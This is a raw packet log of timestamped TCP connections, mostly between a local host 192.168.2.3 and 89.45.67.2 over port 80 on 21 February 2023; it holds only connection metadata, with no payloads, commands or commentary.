Feb 21, 2023 07:07:53.846824884 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.903758049 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:53.987052917 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:53.987349033 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:54.030682087 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.032310963 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.154387951 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:54.258621931 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:54.304831982 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.313889027 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:54.357186079 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.357534885 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:54.357626915 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:54.357687950 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:54.357785940 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:54.381833076 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:54.381946087 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:54.382092953 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:54.400852919 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.400913000 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.400985956 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.401021004 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.401042938 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:54.401056051 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.401091099 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.401215076 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.401283026 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.401592970 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.401660919 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.425467014 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.425590992 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.425635099 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.425744057 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.425901890 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.426017046 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.426053047 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.426085949 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.444197893 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.446023941 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:54.554600954 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:59.457792997 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:59.500974894 CET	80	49744	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:59.501075983 CET	49744	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:59.547760963 CET	49745	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:59.590837002 CET	80	49745	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:59.591006041 CET	49745	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:59.634195089 CET	80	49745	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:59.634397030 CET	49745	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:07:59.677576065 CET	80	49745	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:59.680694103 CET	80	49745	89.45.67.2	192.168.2.3
Feb 21, 2023 07:07:59.816904068 CET	49745	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:00.004403114 CET	49736	443	192.168.2.3	142.250.180.132
Feb 21, 2023 07:08:00.004447937 CET	443	49736	142.250.180.132	192.168.2.3
Feb 21, 2023 07:08:02.938551903 CET	49745	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:02.981755018 CET	80	49745	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:02.981856108 CET	49745	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:03.069297075 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:03.112469912 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:03.112628937 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:03.155756950 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:03.155842066 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:03.199013948 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:03.201831102 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:03.267791986 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:03.588960886 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:03.634856939 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:03.767827034 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.816407919 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.859899998 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.860443115 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.860718012 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.860955000 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.903758049 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.903815985 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.903848886 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.903882980 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.903884888 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.903884888 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.903994083 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.903995037 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.904000044 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.903995037 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.904201031 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.943892002 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.944042921 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.946996927 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947037935 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947077036 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947109938 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947144985 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947168112 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.947168112 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.947247982 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.947247982 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.947258949 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947354078 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.947360039 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947393894 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947427034 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947467089 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947474957 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.947506905 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947521925 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.947521925 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.947563887 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.947563887 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.947622061 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947655916 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947721958 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.947722912 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.947751045 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947798014 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947860003 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.947897911 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.987339973 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.987445116 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:04.990274906 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.990447998 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.990732908 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.990832090 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.990894079 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.990928888 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.991070032 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.991209984 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.991245031 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.991383076 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.991559982 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.991657019 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.991739988 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.991861105 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.991894007 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.992017031 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:04.992192984 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:05.030642033 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:05.033052921 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:05.079878092 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:05.123135090 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:05.123430967 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:05.230967999 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:05.231319904 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:05.274584055 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:05.277180910 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:05.367903948 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:05.383861065 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:05.429577112 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:05.555414915 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.282783031 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.326034069 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.326353073 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.326487064 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.326627970 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.326627970 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.326733112 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.326788902 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.326865911 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.326942921 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.327016115 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.369566917 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.369630098 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.369678974 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.369724989 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.369748116 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.369748116 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.369837046 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.369868994 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.369914055 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.370034933 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.370066881 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.370110989 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.370237112 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.370286942 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.370327950 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.370496035 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.370610952 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.370663881 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.370822906 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.370868921 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.370969057 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.371145964 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.371347904 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.371393919 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.371443033 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.371526957 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.371658087 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.371767998 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.371893883 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.371947050 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.372059107 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.413184881 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.413253069 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.413599014 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.413841009 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.416985989 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.568218946 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.572300911 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.615385056 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.617594957 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.699906111 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.700009108 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.743176937 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.745486975 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.865098000 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.883419991 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:06.928774118 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:06.968871117 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:07.012022018 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:07.013426065 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:07.095927000 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:07.095994949 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:07.138991117 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:07.141017914 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:07.255739927 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:07.256143093 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:07.301448107 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:07.365189075 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:07.413104057 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:07.459577084 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:07.568263054 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:07.568662882 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:07.614490986 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:07.725816011 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:07.771028996 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:07.866542101 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:07.883613110 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:07.928862095 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:08.054157019 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:08.068734884 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:08.114280939 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:08.163460970 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:08.246417046 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:08.292315006 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:08.366576910 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:08.429405928 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:08.474931955 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:08.554100037 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:08.585906029 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:08.631180048 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:08.742729902 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:08.787957907 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:08.866624117 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.267582893 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.310925007 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.311233997 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.311392069 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.311489105 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.311599016 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.311702967 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.323446989 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.323549986 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.323730946 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.354540110 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.354676008 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.354724884 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.354885101 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.354938984 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.355103016 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.355182886 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.355345011 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.355468988 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.355606079 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.355653048 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.355786085 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.355901003 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.356024981 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.356220961 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.366806984 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.366873026 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.367101908 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.367166042 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.367299080 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.367464066 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.367501020 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.397845984 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.400422096 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.432049990 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.475285053 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.475626945 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.585877895 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.589303970 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.632570982 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.634673119 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.748099089 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.793520927 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.829165936 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.872688055 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.872982025 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:10.955868959 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:10.957727909 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:11.000834942 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:11.002795935 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:11.068408966 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:11.115545988 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:11.160815954 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:11.256618023 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:11.263806105 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:11.309989929 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:11.412839890 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:11.458026886 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:11.558052063 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:11.583765030 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:11.629085064 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:11.765280962 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:11.936271906 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:11.981864929 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:12.129344940 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:12.175802946 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:12.260910988 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:12.277303934 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:12.322494030 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:12.457966089 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:12.622030020 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:12.667709112 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:12.796020031 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:12.841775894 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:13.036119938 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:13.085338116 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:13.226095915 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:13.272070885 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:13.359237909 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:13.413003922 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:13.458926916 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:13.583122969 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:13.628320932 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:13.760902882 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.054567099 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.097887039 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.098126888 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.098239899 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.098332882 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.098392963 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.098478079 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.098556042 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.098601103 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.098659039 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.141289949 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.141338110 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.141376019 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.141382933 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:14.141539097 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:14.141685009 CET	80	49746	89.45.67.2	192.168.2.3
